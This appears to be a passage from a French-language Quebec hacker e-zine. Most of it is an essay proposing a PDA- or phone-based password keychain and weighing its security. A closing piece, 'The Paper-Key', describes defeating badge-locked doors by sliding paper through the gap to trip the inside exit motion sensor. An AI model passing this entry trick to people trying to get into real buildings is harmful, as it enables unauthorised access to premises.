Ce que le bidule va  storer : simplement le mot  de passe (ou une key  privée)  ainsi   qu'un 
moyen de rappeler l'utilisateur où la clef sert.

On tombe donc avec de  quoi qui a un niveau  de sécurité comparable à un vrai set de clef. Si  
vous perdez votre set,  n'importe qui peut faire  des doubles  (bads)  ou  les utiliser.  Y'a 
aussi toutes les  autres choses que vous  pouviez  penser, si genre  on décrisse la  serrure, 
si finalement la porte est rester ouverte, etc etc, mais combien de vous autres se sont faite 
voler leurs  chars paske y'avait laisser les  clefs dedans  le moteur  en marche  dehors dans 
un cartier miteux de Montréal la nuit quand y'a du brouillard? Si c'est votre cas nyways vous 
êtes un peu cave de faire ça et vous l'avez mérité. haha

Mais bon, y'a pire comme conséquence que des vrai clefs, la clef vu quelle  est logique, peut  
être interceptée.  Soit lors  du chargement  vers le bidule, ou soit lors de l'utilisation.

Solution?
Upload  vers  le  bidule:  Le   bidule  accepte seulement les clefs  encryptées avec sa  clef  
publique, fak  y'a  juste le  bidule  lui-même qui  peut  décoder le  résultat  du transfert. 
Tlm connais la clef publique de ton bidule (on s'entend  qu'un  bidule  =  un  différent  par 
personne).  Bon la y reste encore un trou,  du  genre,  tu peux créer une fausse clef,  et la 
pitcher au bidule, et le  gars va  penser  que  c  la  bonne mais y  se fait fourrer. Donc la 
solution,  y'a  juste  un  sysadmin  qui peut donner des "clefs"... (le risque est encore la, 
mais  pensez  z'y  un peu... entre  le propriétaire de votre  block appart qui vous  donne la
clef, ou  la porte  qui vous  chie une  clef dains  mains, c'est  quoi le plus sécure? hehe)

Download du bidule (utilisation de la clef finalement): la évidemment on  peut intercepter la  
clef.. solution?  (la chu  moins sure)  Signer la fucking clef  quand  on  l'envoie.  Donc en 
gros, la porte (aka le server) s'assure que la clef  provient  vraiment  du  bon  bidule. Cte 
boute la  y'a moyen de le  travailler un  peu...  mais faut surtout pas penser qui faut faire 
pareil comme le upload. 

Par  exemple,  on  pourrait  un  lien  crypté  entre  le bidule pis le  serveur, pour ensuite 
échanger la clef (à la SSH).

Mais faut pas oublier  une chose, c'est que  finalement, toute ce que  je veux que ce  bidule 
là  fasse, c'est  que enfin  j'aille pu  56000 mots de passes à retenir.. donc si ça sécurité  
est >= à la sécurité  de taper un mot de  passe  sur  un clavier, j'aurai réussi. De plus, si 
ça sécurité est proche d'un set de clef, j'aurai de quoi d'acceptable dans un monde réel.

Et finalement, pour les paranos, ou  les personnes qui ont  des clefs  vraiment  importantes, 
on  pourrait  utiliser  toute les techniques existantes pour  monter  de  quelques  crans  la 
sécurité.  Par exemple, l'accès au bidule  demanderait de rentrer un mot  de passe (whatever,  
on peut même  utiliser la biométrie  ici)  pour  utiliser  les  clefs..  donc, si on perd  le 
bidule good luck.  La faudrait  juste  qu'on aie  QU'UN SEUL BIDULE  pour retenir QU'UN  SEUL 
MOT DE  PASSE. Et  c'est  la  que  j'aime  la  biométrie,  mettons que le bidule reconnaît ma  
rétine, j'aurais juste a avoir l'oeil pas  loin pour le débarrer.. pis si j'le perds, ben chu 
juste vraiment dans  marde si en même temps  je perds mon œil (et  qui  reste accrocher après 
le bidule)...

Mais à la limite,  dans le cas de  perte ou de vol, on a juste à changer les serrures. That's 
all.

Y'a aussi d'autres techniques qu'on  pourrait utiliser, mais je crois  que y'a une  limite  a 
tout.

Y'a aussi des choses qu'on peut pas  faire, car le modèle que je présente  est  sécure,  mais  
pas trop  (ce qui  est à  mon avis  une BONNE sécurité, car trop sécure ça devient  useless). 
Exemple,  on pourrait  changer de  mot de  passe  souvent?  Mais  genre,  changer  vous   vos  
clefs et  serrures de maison souvent vous? Si vous vous faite voler ok, j'avoue, si vous avez 
des doutes, si  votre ex  a  encore la  clef, ok.  Mais en  temps normal  non. C'est  pour ça  
que la restriction que "y'a juste  l'admin qui peut donner une clef" est bonne, car oui c'est 
compliqué à faire, mais c'est ce qui procure justement une  sécurité un peu  plus grande,  du 
genre,  faut absolument  owner le  sysadmin pour même pouvoir AVOIR  la clef..  pis entre  un 
sysadmin  parano qui dors pratiquement jamais (ou parano alcoolique) pis monsieur madame tlm, 
les chances de se faire intercepter sont moins grandes... 

Ce qui pourrait  être fait, c'est  un système comme  sur  les  cartes  d'accès  à  puce,  qui 
change avec  le temps, mais dans  ce cas la, faudrait  que le bidule pis  la  porte s'arrange  
avec ça. MAIS, pensez  z'y, on veut pas  remplacer une clef physique,  on veut  remplacer une  
clef logique  (soit un  mot de passe).  Donc,   ultimement, la  clef se  promène que  sur des  
liens logique,  donc de  rajouter  une  sécurité,  qui  est uniquement  checkable  au  niveau  
physique, est  plutôt useless..  donc si  on voudrait  de quoi  qui change  de phase  dans le
temps, faudrait que le bidule soit syncro avec tous les serveurs, et ça ça  va  prendre   des  
années lumières    avant  que    ça  arrive,  parce  que   après  tout  les  syadmins paranos  
alcooliques sont  p-e fiable,  mais sont  vedge pour changer leurs systèmes à ce point la.


The future is now.
C'est sur que perso je vois ça comme une bague magique, une clef, voir même un  implant  dans 
le     corps,      mais    tout    les     concepts    la   sont     possible     maintenant.
http://passwordsafe.sourceforge.net/ est un bon exemple.  Cependant, ça sauve dans un fichier 
blowfishé pis ça fait juste  copier/coller à partir du clipboard dans Windoze. Ce  qu'on peut 
faire,  MAINTENANT, c'est ça : avoir un PDA, un téléphone cellulaire qui sert de trousseau de 
clef. On store les passwords dedans.  Une solution poche (ou de poche haha) serait de prendre 
le PDA/cellphone  pour  se rappeler du password (un peut comme on fait avec un post it), mais 
avec  un module wifi genre bluetooth mais une version très poche qui marche juste  si  tu  es 
littéralement collé sur le pc (PAS du fucking 802.11, on veut de quoi  avec  un range MAXIMUM 
oublier pas, ou sinon, faire un packet driver qui drop  toute les trames 802.11 qui sont plus 
longue que le temps que ça prends a l'onde  de  faire  plus  que 20 cm..  good luck ça voyage 
vite  une onde), pis la, avec  une  application  installer  sur  le   PC  et  sur le  PDA, on 
pourrait juste  choisir le mot de passe, pis l'envoyer.  Pensez z'y, ça pourrait même marcher  
direct avec n'importe quel site web,  ça copierais  directement  dans  la  case   de  mot  de  
passe!  Not   bad,  mais malheureusement c long  gosser dans un  pda/cellphone, faudrait donc  
avoir un piton  shortcut  de programmer,  et  on pourrait avoir le cas d'utilisation suivant:

J'arrive devant un ordi,
je sors mon PDA de mes poches, je pèse sur le piton de mon PDA (5 secs).
Le PDA se plug crypter avec l'ordi,
J'ai une confirmation sur mon PDA de l'ordi et vice versa (2 + 2 secs).

La on pourrait faire de quoi de cool et pratique, genre l'ordi propose au  PDA qui veut avoir 
le mot de  passe pour www.duporn.com/members/. Mais si on  fait  ça,  on enlève le "besoin de 
reconnaître  ou va la clef pour sen servir". Mais le trade off peut être intéressent avec les 
passwords moins  important (genre l'accès au site web de cul, versus un account root).

Donc,  si  on fait  l'affaire cool,  ça prendrait  même pas 1 secondes, et le password serait 
envoyé vers l'ordi. et tu click login, fini napu. A  la  limite  ça  pourrait même retenir le 
username itoo! on sauve du temps la!

Sinon, faudrait :
- checker la liste des mots de passe (2 * n = 30 secs si j'ai 15 passwords)
- choisir le mot de passe pis peser sur le piton send (5 + 2 = 7 secondes).

Mais des fois ça vaut la peine, car pensez-zy,
l'account root vous vous logger une fois par semaine et
l'account du site de cul, well plusieurs voir par jour =)

Ah pis, dans mon cas présentement par exemple, la  sécurité  est  moins  forte  que  dans  le  
modèle,  parce  que on  change  RIEN  au  système d'authentification  présent, donc n'importe 
qui peut loader une clef dans le bidule (le PDA), sauf  que, quand même, on a juste a se dire 
que le seul moyen de rentrer le password dans le PDA c de l'écrire soit même...

Et pensez z'y, avec ça, votre mot de passe sur genre un phpBB pourrait être
KjG56ga$ads$12fJ45gFjD3F4?ags%b
et prendre AUTANT de temps à rentrer que 123456.. pratique.

Bon voila,
c'est mon proof of concept, après avoir réfléchi pendant genre quelque mois au sujet que "les 
fuckings passwords ca  sert a rien chu tanné den  avoir 85000", j'étais sur mon sofa pis j'ai 
pensé à un porte clef...

Pour ceux qui  ont eux le  courage de lire mes déblatérations au complet, et bien  bravo mais  
je vous encourage à  y songer encore plus pis à détruire "mon  proof  of  concept". C'est  de 
cette  façon que  la mentalité  "hacking" sert à quelque chose.. et peut-être qu'un jour,   à 
force de détruire les failles  des idées, on aura des idées presque parfaites.



  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|                                                            \_ \   \\_  \_ \ 1   
 || |Vous voulez vanter un produit ou un service qui vaut rien?    \\_  \_ \   \\_ 1  + 
 || |Réservez dès maintenant vos espaces publicitaire pour le      \_ \   \\_  \_ \ 1   
 ||'|prochain e-zine : wyzeman@mindkind.org                          \\_  \_ \   \\_  x 
 || |                                                                \_ \   \\_  \_ \  `
 || |                                                                  \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ Bon tout le monde a compris la ?                                      ]=\:\  |
  \__\__________________________________________________________________________________/ 


 


Greetz  to :  M. Steve  Berberi,  sergent  spécialiste,  Sûreté  du Québec et sont équipe qui 
overall doivent etre payer beaucoup plus chere a nous lire que ce que ca nous  donne  decrire 
tout ca.  



si  par  malheure  vous  vous  etiez  embarer en dehors de votre bureau en allant imprimer ce 
ezine, voici un petit truc qu'un de nos fan nous a envoyez qui pourrais ptete vous aidez.


The Paper-Key.
Ak: La paresse des sorteurs.

Par Imini.


Voici une façon alternative d’ouvrir, sans aucune clé, toutes sortes de portes sécurisées par 
des systèmes de cartes magnétiques, de NIP, ou autre.

Matériel nécessaire :
-	Une feuille 8½/11

Conditions requises:
-	Une porte ayant des fentes autour d’elle
-	Un détecteur de mouvement (de l’autre coté de la porte)


Vous  allez  voir,  nul besoin d'être une grande lumière pour comprendre le fonctionnement de 
cet exploit.

Voici une entreprise typiquement vulnérable:

Les  employés  possèdent  tous  une  carte  magnétique  qui  leur permet de débarrer la porte 
principale. Ils peuvent entrer ou sortir de la boite jour et nuit. Le système central créé un 
journal des allés et venus de chacun des salariés.

Pour sortir, et débarrer la porte principale, l’individu se place devant la porte et actionne 
le détecteur de mouvement, qui lui sert exclusivement à débarrer  la  porte.  (Les  employés, 
souvent affaiblis par leur dure journée de travail, n’ont pas besoin  d'actionner  un  bouton 
pour sortir.)

La faille:

Lorsque  nous  voulons  entrer  dans  l’entreprise, il nous suffit de prendre une feuille, de 
l’insérer entre la porte et le cadrage et de la faire bouger sous l’œil magique. Cela a  pour 
effet de débarrer la porte. Si le détecteur de mouvement  est  situé  trop  loin,  il  suffit 
d'utiliser un objet plus long qu'une feuille. (Une longue feuille ;)

Les  portes  vitrées sont particulièrement vulnérables car il y a un gros espace qui facilite 
l’introduction d’objets dans la pièce. De plus elles permettent de localiser le détecteur  de 
mouvement beaucoup plus facilement.

Le ratio :

Dans  certains  édifices,  selon  mes  calculs,  il  pourrait  y  avoir  facilement environ 1 
entreprise sur 4 vulnérables à cette astuce.

En pratique :

Comment cela pourrait-il nous servir, à nous, adepte du droit chemin ?

	Par  exemple,  si  nous  oublions  notre carte magnétique dans notre bureau, que nous 
sortons pour x raison et que  nous  nous  embarrons à l'extérieur, au lieu d’aller courailler 
le  type  de  la  sécurité  (qui  est toujours aux toilettes), nous pourrions tout simplement 
utiliser une feuille pour entrer comme si de rien était. Ni vu ni connu. Sans se faire pincer 
d'aucune façons.

Facile non ?

Sur ce, je vous laisse.
Soyez prudents.
Bonne lecture à tous.